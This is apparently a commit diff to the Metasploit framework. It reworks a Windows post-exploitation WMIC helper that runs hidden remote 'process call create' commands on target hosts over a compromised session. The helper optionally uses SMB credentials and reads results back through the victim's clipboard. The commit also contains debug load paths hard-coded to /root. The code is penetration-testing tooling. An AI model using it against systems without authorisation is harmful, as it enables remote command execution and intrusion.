Get and parse result from clipboard
parent
3ad1e57f8d
commit
12afdd2cbb
|
@ -0,0 +1,25 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Post
|
||||||
|
module Windows
|
||||||
|
|
||||||
|
module ExtAPI
|
||||||
|
|
||||||
|
def load_extapi
|
||||||
|
if session.extapi
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
begin
|
||||||
|
return session.core.use("extapi")
|
||||||
|
rescue Errno::ENOENT
|
||||||
|
print_error("Unable to load Extended API.")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end # WMIC
|
||||||
|
end # Windows
|
||||||
|
end # Post
|
||||||
|
end # Msf
|
|
@ -6,16 +6,104 @@ module Windows
|
||||||
|
|
||||||
module WMIC
|
module WMIC
|
||||||
|
|
||||||
def wmic_command(server, cmd)
|
include Msf::Post::Windows::ExtAPI
|
||||||
wcmd = "wmic #{wmic_user_pass_string}/node:#{server} process call create \"#{cmd.gsub('"','\\"')}\""
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('SMBUser', [ false, 'The username to authenticate as' ]),
|
||||||
|
OptString.new('SMBPass', [ false, 'The password for the specified username' ]),
|
||||||
|
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication' ]),
|
||||||
|
OptAddress.new("RHOST", [ true, "Target address range", "localhost" ]),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def wmic_command(cmd, server=datastore['RHOST'])
|
||||||
|
raise RuntimeError, "WMIC: Unable to load Extended API" unless load_extapi
|
||||||
|
|
||||||
|
if datastore['SMBUser']
|
||||||
|
if server.downcase == "localhost" || server.downcase.starts_with("127.")
|
||||||
|
raise RuntimeError, "WMIC: User credentials cannot be used for local connections"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
wcmd = "wmic #{wmic_user_pass_string}/output:CLIPBOARD /INTERACTIVE:off /node:#{server} process call create \"#{cmd.gsub('"','\\"')}\""
|
||||||
vprint_status("[#{server}] #{wcmd}")
|
vprint_status("[#{server}] #{wcmd}")
|
||||||
|
|
||||||
# We dont use cmd_exec as WMIC cannot be Channelized
|
# We dont use cmd_exec as WMIC cannot be Channelized
|
||||||
ps = session.sys.process.execute(wcmd, "", {'Hidden' => true, 'Channelized' => false})
|
ps = session.sys.process.execute(wcmd, "", {'Hidden' => true, 'Channelized' => false})
|
||||||
select(nil,nil,nil,0.1)
|
|
||||||
|
found = true
|
||||||
|
while found
|
||||||
|
sleep(1)
|
||||||
|
found = false
|
||||||
|
session.sys.process.get_processes.each do |x|
|
||||||
|
if "wmic.exe" == (x['name'].downcase)
|
||||||
|
vprint_status("WMIC still running... Sleeping")
|
||||||
|
found = true
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
ps.close
|
||||||
|
|
||||||
|
result = session.extapi.clipboard.get_data.first
|
||||||
|
|
||||||
|
if result[:type] == :text
|
||||||
|
result_text = result[:data]
|
||||||
|
else
|
||||||
|
result_text = ""
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status("[#{server}] WMIC Command Result:")
|
||||||
|
vprint_line(result_text)
|
||||||
|
parsed_result = parse_wmic_result(result_text)
|
||||||
|
|
||||||
|
if parsed_result == nil
|
||||||
|
vprint_error("[#{server}] WMIC Command Error")
|
||||||
|
end
|
||||||
|
|
||||||
|
session.extapi.clipboard.set_text("")
|
||||||
|
|
||||||
|
return parsed_result
|
||||||
end
|
end
|
||||||
|
|
||||||
end # Process
|
def parse_wmic_result(result_text)
|
||||||
|
if result_text.blank?
|
||||||
|
return nil
|
||||||
|
else
|
||||||
|
pid = nil
|
||||||
|
return_value = nil
|
||||||
|
|
||||||
|
if result_text =~ /ProcessId = (\d+);/
|
||||||
|
pid = $1.to_i
|
||||||
|
end
|
||||||
|
|
||||||
|
if result_text =~ /ReturnValue = (\d+);/
|
||||||
|
return_value = $1.to_i
|
||||||
|
end
|
||||||
|
|
||||||
|
return {:return_value => return_value, :pid => pid}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def wmic_user_pass_string(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass'])
|
||||||
|
userpass = ""
|
||||||
|
|
||||||
|
unless user.nil?
|
||||||
|
if domain.nil?
|
||||||
|
userpass = "/user:\"#{user}\" /password:\"#{pass}\" "
|
||||||
|
else
|
||||||
|
userpass = "/user:\"#{domain}\\#{user}\" /password:\"#{pass}\" "
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return userpass
|
||||||
|
end
|
||||||
|
|
||||||
|
end # WMIC
|
||||||
end # Windows
|
end # Windows
|
||||||
end # Post
|
end # Post
|
||||||
end # Msf
|
end # Msf
|
||||||
|
|
|
@ -5,9 +5,13 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'rex'
|
require 'rex'
|
||||||
|
load '/root/git/metasploit-framework/lib/msf/core/post/windows/extapi.rb'
|
||||||
|
load '/root/git/metasploit-framework/lib/msf/core/post/windows/wmic.rb'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::Windows::WMIC
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super( update_info( info,
|
super( update_info( info,
|
||||||
'Name' => 'Windows Gather Run Specified WMIC Command',
|
'Name' => 'Windows Gather Run Specified WMIC Command',
|
||||||
|
@ -41,7 +45,7 @@ class Metasploit3 < Msf::Post
|
||||||
next if cmd[0,1] == "#"
|
next if cmd[0,1] == "#"
|
||||||
print_status "Running command #{cmd.chomp}"
|
print_status "Running command #{cmd.chomp}"
|
||||||
|
|
||||||
wmicexec(cmd.chomp)
|
wmic_command(cmd.chomp)
|
||||||
|
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
|
@ -51,49 +55,9 @@ class Metasploit3 < Msf::Post
|
||||||
elsif datastore['COMMAND']
|
elsif datastore['COMMAND']
|
||||||
|
|
||||||
cmd = datastore['COMMAND']
|
cmd = datastore['COMMAND']
|
||||||
wmicexec(cmd)
|
result = wmic_command(cmd)
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def wmicexec(wmiccmd)
|
|
||||||
tmpout = ''
|
|
||||||
session.response_timeout=120
|
|
||||||
begin
|
|
||||||
tmp = session.fs.file.expand_path("%TEMP%")
|
|
||||||
wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000))
|
|
||||||
print_status "running command wmic #{wmiccmd}"
|
|
||||||
r = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe /append:#{wmicfl} #{wmiccmd}", nil, {'Hidden' => true})
|
|
||||||
sleep(2)
|
|
||||||
#Making sure that wmic finishes before executing next wmic command
|
|
||||||
prog2check = "wmic.exe"
|
|
||||||
found = 0
|
|
||||||
while found == 0
|
|
||||||
session.sys.process.get_processes().each do |x|
|
|
||||||
found =1
|
|
||||||
if prog2check == (x['name'].downcase)
|
|
||||||
sleep(0.5)
|
|
||||||
found = 0
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
r.close
|
|
||||||
|
|
||||||
# Read the output file of the wmic commands
|
|
||||||
wmioutfile = session.fs.file.new(wmicfl, "rb")
|
|
||||||
until wmioutfile.eof?
|
|
||||||
tmpout << wmioutfile.read
|
|
||||||
end
|
|
||||||
wmioutfile.close
|
|
||||||
rescue ::Exception => e
|
|
||||||
print_status("Error running WMIC commands: #{e.class} #{e}")
|
|
||||||
end
|
|
||||||
# We delete the file with the wmic command output.
|
|
||||||
c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
|
|
||||||
c.close
|
|
||||||
vprint_status tmpout
|
|
||||||
command_log = store_loot("host.command.wmic", "text/plain", session,tmpout ,
|
|
||||||
"#{wmiccmd.gsub(/\.|\/|\s/,"_")}.txt", "Command Output \'wmic #{wmiccmd.chomp}\'")
|
|
||||||
print_status("Command output saved to: #{command_log}")
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue